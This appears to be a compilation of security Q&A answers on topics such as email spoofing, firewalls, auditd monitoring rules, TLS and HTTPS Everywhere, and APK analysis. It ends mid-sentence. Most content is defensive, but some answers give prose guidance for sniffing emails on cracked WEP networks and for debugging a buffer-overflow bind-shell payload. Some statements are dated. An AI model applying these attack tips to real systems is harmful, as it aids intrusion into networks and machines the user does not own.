Stopping a phishing email by blocking the ip address of the sender

anyway of extracting and verifying the ip address of someone who has sent you an email.

While the IP address of the sender might be contained in the mail header it can easily be faked. Only the receiving mail server knows the real client IP address and if you trust this MTA you could check the Received-Header added by this MTA if it contains the clients IP address (not all do this). Not that depending on the path of the mail there might be several MTA involved and any MTA can change the header and the original sender can also add some fake Received-Headers to the mail.

  ... lot of spam emails that are coming from different email addresses but containing the same phishing email. I am confident these are coming from the same source.

Not necessarily. Spam/Phishing is often sent using rented botnets, i.e. the same mail comes from lots of different source IP address. Assuming the same sender IP all the time and blocking it would thus not help. But you might make use of real time black lists (RBL) which include typical source IP of spammers and also networks for "dial-up" accounts (i.e. home users) which are often unwillingly part of a botnet and thus used for spamming. See for example this multi-RBL check. Use of such RBL can often be added to mail servers and tools like Spamassisin can make use of RBL too.


We do not try to authenticate with webcams at all - not even using default credentials. We are only able to grab an image if the device has no authentication enabled and is public on the Internet.

Source: I wrote the code.


what are some instances of compromises due to email sniffing?

Once an attacker is on a network, they can sniff all traffic moving around it. Let's take, for example, a home WiFi setup that uses WEP.

Attacker breaches WEP, because it's insecure.
Attacker uses promiscuous mode to sniff frames on the network, and steals all traffic.
You send an email via SMTP.
Attacker dumps traffic a file and analyses with Wireshark or a similar tool, and extracts the emails.

It's as simple as that, and it can be performed with free software and off-the-shelf hardware.

Looking at SMTP relays, what you've really got to worry about is state-sponsored attacks. It'd be rather silly to assume that no government is sniffing SMTP traffic on these relays as part of their standard communications intelligence program. However, this doesn't mean that private individuals don't have access - the relays are just computers like any other, and they can be breached.

Furthermore, the traffic between SMTP relays bounces through several other machines and routers on its way, since there's no direct network path. Any one of these might be compromised.

In short, you have to assume that everything travelling over the internet is unsafe. It's an untrusted and hostile network, so you must enforce security.


Enterprise Network Security - Firewalls for a small environment

You do indeed need physical separation but in a small network that doesn't necessarily mean 4 separate firewalls. However, if you don't do that, you will be adding to the risk.

It is up to you and your organisation and maybe whatever external auditors you use to agree what level of risk is acceptable.

There are many firewall devices that have more than 2 network interfaces and any decent make will allow you to configure different security settings between different pairs of interface.

For example, even the router I use at home - a Ubuquiti EdgeRouter Lite - has 3 interfaces and a firewall configuration tool that lets me have different settings between either of the two internal and 1 external interfaces.

The risk, however, is that a compromise either of the firewall (at OS or firewall application layers) or a compromise of a user account on the firewall would allow reconfiguration of all interfaces with no further protection.

As you can probably see, a 4 device solution would only actually be much more secure if:

They all use different admin accounts
They are multiple device types - because if they are all the same, they are also likely to have the same software level and therefore the same vulnerabilities.

You can further mitigate the risks of either solution type by ensuring that logs are actively passed through to a SIEM which alerts on any changes and if data stops coming through. That could be as simple as a centralised syslog server - though that requires some expert eyes to be regularly reviewing the logs. Better is a proper SIEM solution that presents a single dashboard for all threats.

The bottom line is that what is key here is not so much the physical architecture but rather the concept of data/system segregation. Also points removed from your consultant if they didn't recommend centralised reporting and audit.


Are there security pitfalls on relying on an emails domain to automatically assign permissions?

My understanding of your question is that you want to use the domain part of the users email to identify the company of the user and then setup access permissions based on this detected company. But you don't just use a single email for this - instead you associate the email with a user account (i.e. additional protection with password or similar) and the user has to prove that he has access to the claimed mail account when setting up the user account by sending some kind of confirmation link to the given mail address.

In order to have this kind of association between a user/company and an mail address you have to guarantee that nobody outside the company can send and receive mails using a company specific email address. Given that company specific mails can often be accessed from outside the companies network (mobile workers) and that phishing for credentials including mail credentials is heavily done today, it must be assumed that somebody outside the company might get access to a companies mail account.

Moreover the initial verification of the mail when setting up the user account does not help if the user leaves the company since there is no procedure to automatically disable the user account. While one can check from time to time if the user still has access to the mail account the process of disabling access for ex-employees is often broken, i.e. the user might still have access to his old companies mail even he does not work longer for the company.


What is this authentication method/approach called?

SiteKey is the feature name that many banks call it and should be able to be searched for under that name.  It adds minimal if any security.  Anything that your server can present to the user, a man in the middle can act as if they were the client and get the same information.  SiteKey (which is likely what your bank calls it) is not secure and doesn't add meaningful security.

It can actually be harmful as it may give users a false sense of security and make them ignore otherwise good indicators such as SSL indicators because the "secure" image or phrase is there.  My general recommendation is do not use such flawed mechanisms as they can do more harm than good.


Can FIDO be implemented for a Use Case which Allows the Use of Shared Devices?

I do not know of any build with FIDO compliance. Furthermore: you have no control over what webcam/fingerprint sensor/... the users are using.
So, FIDO aside, is it safe?
The answer is simple: you have no control whatsoever over the computer that is used to access your website (might be a Win10, might be a Kali). If you make devices that you cannot control part of your chain of assurance, it is not safe, unless you take additional measures.
Furthermore: you will require your users to give your website access to their webcam. That may be acceptable in your users community, but it certainly is not acceptable in ours. That is something you need to consider too.


Ansible Vault - how does the encryption work?

Ansible is open source, written in Python, and uses PyCrypto, a standard python cryptography library, not packaged with Ansible.

https://www.dlitz.net/software/pycrypto/

The module that handles encryption and decryption is VaultLib, here:

https://github.com/ansible/ansible/blob/adea1f2b80d806d94ca1bdb2d06f2df077feb948/lib/ansible/parsing/vault/init.py

That module looks to have only minimal dependencies on other Ansible modules- some python 3 compatibility stuff, some unicode stuff, a module called Display.

To make a "standalone" tool with a high likelihood of compatibility with Ansible, the best approach would be to take that code, remove the python 3 stuff, remove the Display module, and copy-paste in the unicode functions.

As long as PyCrypto and other python dependencies are installed, the encrypt and decrypt functions in that module should just work.


Identifying bridged ad-hoc connection from router

Assuming the use of TCP/IP networking, yes you can. It will list the IP address (and MAC) in the ARP table.

Depending on the configuration of your network, that IP address may be from a different range than the ones your routers DHCP server gives out.


How much should I care about the iOS/Android version when pentesting mobile app?

It largely depends, but there were some significant API changes between 2.1 and 4.2 which may change the way certain operations work on the device.

If you're looking at something like a music app, or a game, you're likely to find any vulnerabilities in operational code (credential handling, network stuff, buffers, etc.) rather than misuse of the API. However, if you're looking at a more in-depth app (e.g. an APK installer, a ROM manager, etc.) you're likely to find more unusual uses (or abuses) of the API, so that's a case where it's certainly worth checking on multiple versions and devices.

The exact same logic applies to iOS, though keep in mind a lot of apps will target a rather restricted set of iOS versions due to Apple's breaking changes between releases.


Is it possible to ensure that firmware doesn't keylog?

No. You cannot always detect. Here is a scenario.

How would the keys be logged? Each time you press a key you send an interrupt to the processor because some wire that was low goes high on a bus that says hey CPU, I have input for you to read!  The CPU reads the input and puts it somewhere and tells the application a key was pressed.

So firmware could be any other chip that also monitors the bus, and captured the value when it goes high.

It doesn’t need to be the cpu and it can write the data anywhere. It can wait for some sequence of data before it kicks off its own interrupt to the cpu to read the data, or writes the data out to a port like usb.

It might be detectable if the firmware is sending the data over the network from time to time, but definitely possible to simpler store and wait for instructions before revealing it.


How should potential (unverified) security vulnerabilities be best reported?

Is hard to answer your question, because you did not provide enough context from the report.

As for access termination, timely should comply with your internal security policy (termination of employee procedure) where a period of time is defined during which access for the former employees is being revoked. There cannot be an SLA for that.

As for SSL encryption, which part of repot does it come from? Is there a list of systems/services with enabled SSL encryption?

It seems to me that you are looking at summary of the report, which includes key findings only. You should contact your security vendor to clarify these issues, if you do not understand them or ask for a full version of the report.


Auditd is an extraordinarily powerful monitoring tool. As anyone who has ever looked at it can attest, usability
is the primary weakness. Setting up something like auditd requires a lot of pretty in-depth thought about exactly
what  it is that needs auditing on the specific system in question. In the question you decided on a web server
as our example system, which is good since it's specific.

For sake of argument let's assume that there is a formal division between test/dev web servers and production
web servers where web developers do all of their work on the test/dev systems and changes to the production
environment are done in a controlled deployment.

So making those rather large assumptions, and focusing on the production system, we can get down to work. Looking at the auditd recommendation in the
CIS benchmark for RHEL5 we can start building out the following suggested ruleset:

-a exit,always -S unlink -S rmdir
-a exit,always -S stime.*
-a exit,always -S setrlimit.*
-w /etc/group -p wa
-w /etc/passwd -p wa
-w /etc/shadow -p wa
-w /etc/sudoers -p wa
-b 1024
-e 2

This will cause logs to be written out whenever the rmdir, unlink, stime, or setrlimit system calls exit. This should
let us know if anyone attempts to delete files or jigger with the times. We also set up specific file watches on the
files that define groups, users, passwords, and sudo access. Instead of looking at system calls for each of those an
audit log will be written every time one of those files is either:

opened with the O_WRONLY or O_RDWR modes
an attribute is changed

Since we've already made the assumption that we're talking about a production web server, I would recommend adding the line:

-w /var/www -p wa

This will recursively watch all of the files under the /var/www directory tree.

Now we can see the reason for the "controlled environment" assumption made earlier. Between monitoring all files in
the web root, as well as all unlink or rmdir events, this could be prohibitively noisy in a development environment. If
we can anticipate filesystem changes, such as during maintenance windows or deploy events, we can more reasonably filter
out this noise.

Combining all of this into a single, coherent, file we would want /etc/audit/audit.rules to look like

# This file contains the auditctl rules that are loaded
# whenever the audit daemon is started via the initscripts.
# The rules are simply the parameters that would be passed
# to auditctl.

# First rule - delete all
-D

# Increase the buffers to survive stress events.
# Make this bigger for busy systems
-b 1024

-a exit,always -S unlink -S rmdir
-a exit,always -S stime.*
-a exit,always -S setrlimit.*
-w /var/www -p wa
-w /etc/group -p wa
-w /etc/passwd -p wa
-w /etc/shadow -p wa
-w /etc/sudoers -p wa

# Disable adding any additional rules - note that adding *new* rules will require a reboot
-e 2


Dom0 has been designed in such way that it is (or should be) impossible to have any Internet connection other than when downloading updates for various dom0 elements (kernel updates, template VMs to name a few) only through the updates VM, it's usually the Net-VM or some other VM that is using the Net-VM for network access.

Considering that the update repos are not compromised, the only way Dom0 and essentially Qubes could get owned is by installing any third party software on it. *

So any bugs on potentially outdated software on Dom0, like the Xfce or KDE Plasma are irrelevant to a machine that has no network connection and uses only software trusted by the Qubes Team.

*I should note that I was referring to potential compromise through action directly from Dom0. If you're wondering about privilege escalation from another VM to Dom0 you're probably looking at GUI agent exploits.

For example, one of the core files of qubes-gui-daemon is programmed to prompt the user whenever a VM attempts to pass an invalid/very large value to a specific window size, marking the behaviour as suspicious and as an attempt compromise Dom0 (line 156).


Is the following a secure method for file encryption?

No, you should use Authenticated Encryption or AEAD.
My suggestion
Generate another 128 bits from the KDF, use that as the key to HMAC-SHA-256, compute HMAC of IV and ciphertext, store the HMAC result (called authentication tag) with the ciphertext.
When decrypting, pass the password through KDF to generate IV and HMAC key, compute HMAC  over IV and ciphertext, compare with stored authentication tag. If they don't match, the password was bad or the ciphertext was tampered with. Do not decrypt. Decrypt only if the authentication tag is good.
CBC is slow, because it has to work one block at a time and cannot encrypt blocks in parallel. CTR would be better.
HMAC is a strong MAC but is slow.
Modern AEAD modes like AES-GCM or even ChaCha20-Poly1305 (the only modes allowed in TLS1.3 and libsodium, preferred in modern SSH and IPSec, with ChaPoly being the only mode allowed in age and WireGuard and is the default in libsodium) are faster than AES-CBC or AES-CBC+HMAC.
But actually...
Using age would be much better than rolling your own. For example, age uses modern chunked AEADs and scrypt, has a go and rust implementation, and was created by a reputable person (the maintainer of go's standard library's crypto code).


Does investigating the .eml file of an email suffice to deem it malicious?

No. There are some SMTP fields like

  MAIL FROM: - generally presented to the recipient as the Return-path:
  header but not normally visible to the end user, and by default no
  checks are done that the sending system is authorized to send on
  behalf of that address.

also

  From: Joe Q Doe  - the address visible to the recipient; but again, by default no checks are done that the sending
  system is authorized to send on behalf of that address.

Anyone can spoof any existing mail address. I could even send you a mail from your own mail address.


What are the possible rules to identify password sharing- to prevent fraud

I believe you are concerned with multiple people reusing a shared identity, not just the specific case of shared passwords. If you are using some kind of persistent session, you can close the one session when the next one signs on.  You can consider a GeoIP solution to see if your users could have traveled to the new location in the amount of time between the prior logout and the current login, but know that GeoIP systems aren't perfect.

Instead of automatically enforcing an error, you are probably better off defining an acceptable use policy, and telling your users "don't share passwords, don't leave yourself logged in", that sort of thing. Use timing data to enforce the policy.


Which software scans software for potential vulnerabilities?

"Static Code Analyzers" is the search term you are going for. I do not use them myself, so I will only list some resources that I hope might help.

https://www.owasp.org/index.php/Source_Code_Analysis_Tools

http://samate.nist.gov/index.php/Source_Code_Security_Analyzers.html


How to prevent chromeipass from auto-filling credentials?

Is it possible to only unlock the database on my request (by clicking
  on the ChromeIPass button)? Is it possible to keep the KeePass
  database encrypted and only unlock it when required?

Yes it is. ChromeIPass requires the Keepass extension KeePassHttp. The default settings can be really annoying if you are used to keep your DB locked most of the time (DB is opened manually and only when required):

Open Keepass and go on the Interface tab options  (Tools > KeePass Http Options).
unecheck "Request for unlocking the database if it is locked"

Save and you are done. Now ChromeIPass won't try to open automatically  your Keepass DB.

Suggestions

Then to quickly open Keepass manually you can use the Keepass Global shortcut (available by default) or you can simply click the ChromeIPass button.

Global shortcut:

CTRL+ALT+A this will open a window with a list of entries that matched or
CTRL+ALT+K to simply open keepass and search your entry.

You may also like to see a dropdown that will suggest you automatically the logins available. Make you sure you have checked the following option in ChromeIPass:

[x] Activate autocomplete for username fields.

note: to see the dropdown list your Keepass DB must be unlocked.

Here are other suggestions for better experience with Keepass and ChromeIPass. Disable any autocomplete feature and try to use the Global Keepass shortcut instead. Don't let ChromeIPass think for you.

ChromeIPass settings:

[  ] activate password generator (can be done direclty in keepass)
[  ] automatically fill-in single credentials entry (too risky)
[x] activate autocomplete for username fields
[  ] auto fill HTTP Auth dialog and send them.

note: This is working for Keepass V2.


No, you won't be able to do a MITM attack on the edge router and your access point/router. In order to perform a man in the middle attack you must be on a network segment that allows your device to actually get in between these two routers. As programings already pointed out your gateway is the internal router/access point, which means that without it you cannot get to the edge router or route traffic. In a MITM you are attempting to reroute traffic through you by some means (in this case I imagine your referring to ARP Poisoning?), which is impossible if you cannot get to one of your targets without going through the other.

In order to perform a MITM on these routers you would need to move onto a network segment that is between the edge router and the internal one. You need this due to the fact that ARP Poisoning deals with a flaw in ARP which lives on the second layer of TCP/IP. In your case you don't have access to the second layer that the edge router is working with because you are behind the internal router.


Preventing reverse-engineering of client application

Obfuscation might look as the first obvious step, but obfuscation has to protect something in the code and that something cannot be webservice functionality because that is reverse engineered by intercepting the traffic even if it is SSL encrypted. Certificate pinning can prevent simple SSL interception by trusting a predefined certificate.

You can symmetrically encrypt communication data and store the key in the client then use obfuscation to make access to that key and encryption algorithm harder. And you can also protect the obfuscation by making decompilation harder. An example flash obfuscator and anti-decompiler is SWFencrypt and BISguard.

The previous are static source code protections but they don't guard against live/dynamic attacks. One way of protecting from these attacks is for the client to use integrity checks on memory and resources. There are also some anti reverse engineering techniques that can make live debugging harder.

The other way to prevent against live attacks is to use software that looks for any system tampering that may be used for client software tampering. This is the realm of rootkit-like anti-cheat engines like Punkbuster, Warcraft's Warden and Valve's VAC.

A different kind of protection is code signing and memory signing (down to the memory page) on closed platforms like iOS and Android. This way, you can limit static modifications to the client's binary and dynamic ones to its memory and the OS.

Even the old CAPTCHA can be used as protection against automation but it hurts user friendliness. You can also detect automation on the server, through user behavior and usage patterns then couple it with CAPTCHA to reduce false positives.

Aside from technical protections, you can use with legal means and even incentives. Provide the best client so users won't be inclined to hack yours or write their own. Or make it so that a custom or hacked client won't give the hacker a far greater advantage. Legal means are not my strength and will vary by country, but I've heard about lawsuits on reverse engineering. Legal threat might deter companies and individuals from selling or providing custom clients.

Finally, you can turn the whole problem on its head and make the webservice easily accessible through flexible APIs and protect against abuse on the server. You might also  charge small fees for the superior functionality your hackers are craving for. :)


What Prevents a Third Party from Using a Digital Certificate as their own

Certificates establish that a public key belongs to a certain entity. So if I verify and accept a certificate, I will use the public key in that certificate to encrypt my TLS handshake data. A man in the middle will need the corresponding private key to decrypt that data and complete the handshake. Therefore, the certificate alone is not sufficient. The corresponding private key is required to make use of the certificate.


How do self-contained executable program exploits work, when considering virtual memory?

A buffer overflow is a type of vulnerability not an exploit.  It will overflow into the virtual memory of the process that is executing it.

"One process cannot access another process' memory".  This is entirely Operating System dependent.  In Windows/Linux/Android this is a true statement.  There are lots of access controls in place to prevent a process from tampering with memory it shouldn't need access to.  However, lots of embedded systems will allow any process to write to any portion of memory.

A daemon is a service that can be triggered by an external probe.  If there is a vulnerability in a daemon then the malicious binary can simply spoof a probe that will trigger the vulnerability.  Hard-coded buffers can be used to trigger it while hard-coded shell code is used to exploit the vulnerability.  If the daemon is exploited then the shell code is run in order to gain execution.  The daemon is no longer in control of the code it is running; the malicious input buffer is now in control.  And since the daemon processed the input data, the malicious input buffer is running within the context of the daemon process.

Why would a malicious binary exploit a service?  Generally it would be to gain higher level privileges.  The malicious binary might be able to run at low level privileges, and then through the service gain administrative privileges.  This can be used to ensure that it persists across reboots or attempts to evade Personal Security Programs.


PayPal "Confirm your email address" spam emails? I got 3 different mails within 10 hours

These are likely to be authentic emails, what's most probable is that someone is trying to open a paypal account using your details. While it's hard to say for sure what's most likely is that the same person or people tried to use your email twice. It didn't work the first time, so they tried again. It's impossible to say for sure without more data.


GnuPG implements the OpenPGP specification, which is not compatible to X.509 and S/MIME. Not only the format in which keys, certifications, signatures and messages are stored are different and OpenPGP implements a variety of the CFB mode for encryption, also the trust model differs heavily (web of trust/network in the case of OpenPGP, and a hierarchical trust system for X.509): while you can map the X.509 certificate hierarchy into an OpenPGP trust network, the other way is not generally possible (for example, OpenPGP allows loops, which cannot be mapped to a tree). Furthermore, the metadata stored in keys is different.

While you could theoretically export the eg. RSA primes and convert a key from one format into the other, those would still not be compatible. Similarly, there is no way to convert certificates from one system to the other in a compatible way. An example why this will not work out is that the certificate is issued on a hash sum of the key, which is not reversible and calculated on different input for each of the systems.


Profiling hackers with keystroke dynamics

Your idea of fingerprinting is very similar to wireless signals intelligence in WWII. Both sides used to have whole departments whose role was to learn the code style, or "fist" of the opposing side's wireless operators. By tracking these profiles and using radio direction finding they gained a surprising amount of information about troop and vessel movements, staff assignments, etc.

You're thinking of doing the same thing, learning the nuances of how particular crackers operate. Thinks like typing cadence, frequently repeated typing mistakes, etc could be used to learn a particular cracker's "fist". I think this is a good idea in some ways, but maybe not good enough to pursue:

Most attacks are scripted. Even when a top cracker is doing the hacking it's usually scripted before and after a successful exploit, so you'll have to wade through hundreds of attacks to find one fingerprinting opportunity
Data sources: you'll have a hard time gaining enough data to do any actual fingerprinting. The number of data sources you would need is far more than a simple research project, you'd need a dozen honeypots at least, and a very large database of information to work off of, with some complex modeling to interpret the data
Network latency and jitter are common on the internet, especially when traffic is coming from areas with poor internet connectivity. These areas will happen to be the source of many attacks, so your results could end up being skewed significantly. Is that pause followed by a flurry of typing the hacker's style, or simply network lag?
Verifiability of results: How can you prove your fingerprinting methods are in any way successful? How will you show that the patterns you find actually demonstrate a single attacker? They aren't going to come out and say, "yeah, that was me!"

My suggestion is to try this small-scale where you can control some of the factors. Get many volunteers (plus some scripts) to follow set scripts of commands in a terminal window and see if you can write algorithms that can reliably determine they typist. Then introduce packet latency and jitter to see if your algorithms can cope, and work on that.  Once you have that working you could then go out to the internet and see if they work in the wild, otherwise you won't have any idea as to reliability.


Recover 7zip password with partial password matching

No, that's not the same. You can't recover a part of the 7zip password.
Since you encryted the files with a preshared key (your password), you would have to guess the whole password, not just a part of it.
You are gonna do a bruteforce attempt on it. Try googling around for some 7zip bruteforce tools, maybe rarcrack can help?
https://en.wikipedia.org/wiki/Pre-shared_key

The samcrack only worked because of DES used in the older versions of windows (LANMAN) password database, where the password is divided up into two 7-byte DES hashes, creating a max of 14 characters, and also very easy to crack. You can't do that on newer versions of windows.
https://en.wikipedia.org/wiki/LM_hash


On TLS-enabled nginx/httpd, is "ssl_verify_client optional_no_ca" disabling TLS's "CertificateVerify" checks?

... this workflow is not discussed on the TLS RFC

The details of the certificate validation are not part of the TLS standard. Part of TLS is only if a certificate gets requested or not.

Apart from that your use can can actually be implemented by nginx. According to the documentation if ssl_client_certificate is set it will be used to a) provide the client with a list of accepted CA and b) verify the client certificate against these CA's. If instead ssl_client_certificate is kept undefined (default) it will not send a list of CA certificates but use ssl_trusted_certificate to verify the client certificate. To cite:

  Syntax:   ssl_client_certificate file;
  Default:  —
  Context:  http, server

  Specifies a file with trusted CA certificates in the PEM format used
  to verify client certificates and OCSP responses if ssl_stapling is
  enabled.

  The list of certificates will be sent to clients. If this is not
  desired, the ssl_trusted_certificate directive can be used.

  as it will be impossible for my application to do it, since it's not terminating TLS itself

nginx can actually provide the client certificate as HTTP header or similar so that the web application can get access to it and verify it or extract information from it.


Does HTTPS Everywhere defend me against sslsniff-like attacks?

The short answer is:  No,  not always.  I have studied this topic in depth and please read this entire post before forming a conclusion.

SSLSniff is a proof of concept exploitation platform to leverage flaws in the PKI,  such as vulnerabilities in OCSP or the (ingenious) null-prefix certificate attack.  If you are using a fully patched system,  and you understand what an SSL error means then you are immune to MOST (but not all) of these attacks without the need for HTTPS Everywhere. If you are not patched against the null-prefix certificate attack then the certificate will appear valid and HTTPS everywhere will be useless.   If you don't understand what an SSL error means, then HTTPS Everywhere is useless against SSLSniff.

What I think is more concerning than SSLSniff is SSLStrip,  which is also written by Moxie Marlinspike and introduced in his talk New Tricks For Defeating SSL In Practice.  This tool won't cause ssl errors.  This is exploiting, HTTP/HTTPS the application layer.   If you load a page over HTTP,  it will rewrite the page removing HTTPS links. It will go a step further and change the favicon.ico file to a picture of a lock,  to fool novice users.  Simple enough,  but absolutely devastating consequences.   In response to this attack Google introduced the Strict Transport Layer Security (STS),  which is a lot like HTTPS Everywhere but built into the browser.  It should also be noted that HTTPS Everywhere is really good an defending against the SSLStrip attack. In fact this is the EFF's solution to attacks like SSL strip as well as careless OWASP a9 - Insufficient Transport Layer Protection violations.

So when does HTTPS Everywhere AND STS fail?  How about https://stackoverflow.com.  If you notice,  they are using a self signed certificate.  Jeff Atwood himself doesn't care about this issue.  Because this website is using a self signed certificate,  HTTP Everywhere will forcibly use HTTPS,  but the attacker can still use SSLSniff to deliver their own self signed certificate and therefore HTTPS Everywhere would fail to protect someone from hijacking your StackOverflow account.

Okay, so at this point you probably are saying to yourself.  "Well that's why we have a PKI!".  Well, except the PKI isn't perfect.  One of the creators of HTTPS said "The PKI was more of a last minute handwave" (See: SSL And The Future Of Authenticity).  In this talk Moxie asked a great question, is a PKI really the best solution?  I mean we are having problems with CAs like DigiNotor being hacked.  When a CA is hacked,  then the attacker can create a valid certificate,  and then HTTPS Everywhere is totally useless,  an attacker can still use SSLSniff because he has a "valid" certificate.  The EFF's SSL observatory demonstrates what a tangled mess the PKI system is.  I mean really,  what is stopping China from creating a certificate for gmail.com?   Well the EFF is proposing the Sovereign Keys Project and I think it's a great idea.  Besides the fact that Sovereign keys don't exist as of yet, there is another problem,  Sovereign keys don't help self-signed certificates like the one being used by https://stackoverflow.com!   However Moxie thought of this situation and came up with a solution that he calls Convergence.  Convergence is relying upon the masses for trust.  The host will be contracted from multiple connections around the planet,  if any one of them sees a different self-signed certificate,  then you know a MITM attack is taking place.  Having a warning that something is wrong is a lot better than nothing.

In summation,  there are fundamental problems HTTPS Everywhere.  When there is a vulnerability in software used to validate certificates.  When the user doesn't understand the repercussions of an SSL failure.  When a self-signed certificate is used. Then finally, when our compromised PKI is used against you.  This is a serious problem and intelligent people working on fixing it, this includes the EFF and the author of SSLStrip, Moxie Marlinspike.


Well, the SSL relies on the fact that you "trust" the party issuing the certificate - and current setup is that any CA can issue a certificate for any domain. There have been projects that try to implement the Web of Trust infrastructure for SSL certificates, in which the community confirms the authenticity of the certificate. But still - you have to trust the community.

For example, there's Perspectives project. It's a Firefox extension allowing you to choose a 'notary server' that checks if certificate presented to you is the same certificate other users see (so that would detect Man-In-The-Middle attack).

There's also a brand new project called Convergence.io made by Moxie Marlinspike that's based on Perpectives' ideas but allows for fine-grained configuration. Currently it's the best one and it seems to quickly gain attention. I'd recommend installing Convergence.io.


Yes, it's not C/C++ language; however, perl, PHP, ruby and java are descendents that carry on various C language conventions. By not having %n, php gets rid of part of the problem, but it still has %x which can be exploitable under certain circumstances.

Basically, printf() and its variants can allow control of the format string if you don't specify it.

Unvalidated user input can supply the format string of their choosing that will lead to a buffer overflow like condition (not a true buffer overflow).

Modern perl and PHP will throw warnings during the development phase so you don't create code missing the format string, if you choose to ignore them, you can have an issue.

Since the site you're referencing allows you to put in any old darn thing to test code, they are preventing creative format strings being entered into printf() that can eat memory, create a denial of service attack, cause premature program termination or crash the PHP interpreter on that website.

Format String Vulnerability in C


Can a WiFi access point operator tell that I'm streaming video to my phone?

Short answer is yes.  If there is any logging on their WiFi router they might not be able to see exact apps, but they'll be able to see the server domain/hostnames that you're connecting to.

You can also look at these question and answers:

Is there a way for my ISP or LAN admin to learn my Gmail address?
Can an employer see cellular network traffic routed through company-owned device?

Long Answer

Secure WiFi only encrypts traffic up to the Access Point.  It's decrypted, and the traffic can be monitored.  If it's an enterprise router it's more than capable of logging specific types of traffic.  If your work has a firewall in their network then it's even more likely that your employer has the capability to monitor traffic.  These do have to be configured, and your employer has to care, but it's very possible.

Domain Name Server (DNS) requests contain the domain hostname that you're trying to reach, and these requests are sent before an SSL/TLS channel can be established and secure.

Source

If you're using SSL/TLS it's possible to see the hostname of the server that you're connecting to in two ways.  First is the server's certificate.  The common name generally needs to match the domain name that you're browsing to.

Can they link this back to you?  This really depends on a lot of factors.  If they're really adamant they'll be able to track down the MAC address of your device, IMEI, and other mobile phone identifiers.  This is a lot of work, and in the end still might not link you to the traffic.

In all honesty, if they care it's just easier to block the traffic than it is to try and track you down.


Based on what you gave so far, it seems you are attempting to exploit a buffer overflow.

  I managed to get to the point that I inject a shellcode like open a calculator or msgbox

I'm going to assume then, that the calc or msgbox is just a payload that you used in the shellcode variable. With these, I can think of a couple of reasons why you can't get the bind shell working.

The bind shell works, but firewall blocks you from connecting. Its port 4444 as you mentioned, so its possible. Use netstat on the victim machine and verify if the port is listening or not. If not, then there really is something wrong with the payload.
There are bad characters in the bind shell payload. Do a bad character analysis, encode and filter them out, and try again.
You are using an invalid payload. This applies if your system is 32-bit.
There is a size restriction on the payload size, and you exceeded it.
The payload steps on its own foot. Try putting NOPs in the first 4 to 8 bytes of your payload (Although this one is unlikely if you didn't encode your payload).

These are just the common reasons I can think of as to why your bind shell doesn't work. Hope this helps.


If you look in the source code of BBC's homepage you can see that it includes javascript from optimizely and google.

If HTTPS everywhere has a rule for a domain it will be used, if a page includes javascript from that domain too.

Optimizely is a cdn, while the google part is probably used for their analytics.

You can also look in Network statistic (Tools -> Web developer -> Network in firefox), to see all the requests to different domains.


How to determine if it is safe to install apk files from alternative android app stores?

Initial Analysis

I think the most thorough way to test 3rd party apps is to:

Download the Android SDK/Tools
Create a virtual Android Device with the Android version of your phone.
Enable Android Debugging through USB on your device. (Can be turned off later)
Check with ADB that your emulator is detected: adb devices
Install the 3rd party app with ADB: `adb install

You can analyze what's going on in the device using different logs that are constantly running.  These can be tough to capture, but you can capture the logcat of your device with adb logcat.  You can learn how to use Logcat like a Pro.
The Android Virtual Device (AVD) uses your internet connection like a WiFi connection.  At this point you can perform all kinds of analysis.  My post on how to analyze malware could be helpful (as far as tools and techniques to use).  Wireshark will be a helpful tool to analyze network traffic.  See what the app with its networking connections.
Reverse Engineering

So now you'll be getting down and dirty into seeing what exactly the APK is doing.  For this you'll need a few tools.  Here is an online tool (I have not used it) that claims to decompile an Android APK back into its Java code.  If you would like to understand the process and do it yourself I would look at this Stack Overflow answer.
An APK is just a .zip file.  So the steps (with tools from that Stack Overflow answer)

unzip example.apk

Now we have the following files and directories:
-rw-rw-r--  1       3708 Oct 14  2013 AndroidManifest.xml
-rw-rw-r--  1    2751916 Oct 14  2013 classes.dex
drwxrwxr-x  2       4096 Aug  3 12:12 META-INF
drwxrwxr-x 23       4096 Aug  3 12:12 res
-rw-rw-r--  1     363640 Oct 14  2013 resources.arsc

The classes.dex is what we want.  It contains all the Java classes used for the application.

./d2j-dex2jar.sh ../example.apk

Now we have a ./example-dex2jar.jar JAR file that can be decompiled into Java code.  Here is where JD-GUI and ApkTool can be useful.  Now you can look at the exact code that is executed by the APK.
Keep in mind though that some portions (if not most) of the Java code will be obfuscated.  This is common and you'll often see function symbols ripped out and replaced with a, b, etc.  Not only functions, but packages, methods, variables.  Seeing obfuscated Java like z = (a) b.d() would not be uncommon.  But you can see strings, typical imports, and any JNI shared object functions they may use.

All that being said.  Do you want to do that for every app you download?  Probably not.  It comes down to whether you trust the Store that you're using, and/or the software company that put out the app.  I personally don't use any apps outside of the Google Play store.  The Apps I do download I base on companies that developed them, user reviews (these can be faked), friend/forum recommendations, etc.
You have to give some sort of trust to the app you're downloading, or analyze each and every app you install.  Either way you've got to use caution.


Should I vary the length of my completely-random passwords for the best security?

Therefore, would my using a variety of lengths yield appreciably more security than using just one length?

No, the only thing it will accomplish is to make the shorter ones weaker.

For why hiding your password length doesn't matter, see this question (disclaimer, the accepted answer is mine):

How critical is it to keep your password length secret?

Thought experiment: how long a password is physically uncrackable? Well, the sun contains roughly 1.2x1044 Joules of nuclear fuel. Let's assume we had a magic register of bits that required only 1 eV to flip a bit (1 electron volt = 1.602×10−19 Joules). It turns out that with a register of 208 bits, counting from 0 to 2208 would require you to consume the energy equivalent of the sun. So, assuming you're making passwords using the 95 printable ASCII characters, then consuming the sun would crack you a 208 bit ~= 32 character password.

How "magical" is this register? Well according to Table 1 (p. 6) of this paper:

An Accurate Instruction-Level Energy Consumption Model for Embedded RISC Processors

one ARM assembly instruction (ADD, SUB, XOR, ...) consumes about 300 pJ ~= 3.0x10-10 Joules ~= 1.8x109 eV per instruction on a low-power embedded device. Given this efficiency, consuming the sun would crack you a 28 character password.

If you're using randomly-generated passwords, then I don't see any reason that anybody should ever use more than 32 chars, but you can probably get away with a lot less against attackers who don't have a sun to spend cracking your password.


It's not at all clear to me what you don't understand, so I'll take it very slowly.

First some terminology. It's important to get this straight, because otherwise you can't know correctly what you're hearing and saying.

Key pair: a private key and a corresponding public key which are mathematically related and used for public-key cryptography (PKC) also called asymmetric cryptography. For RSA, which is usually the only PKC someone knows when they don't specify, the public key consists of a modulus N which is the product of two large primes, and a public exponent E which can be and usually is small (in fact it usually is either 3 or 65537); the private key contains at least N and a private exponent D such that E x D = 1 mod phi(N); in practical use, the private key often contains additional values that enable faster computation, but there are quite a few other questions about that so I won't repeat them.

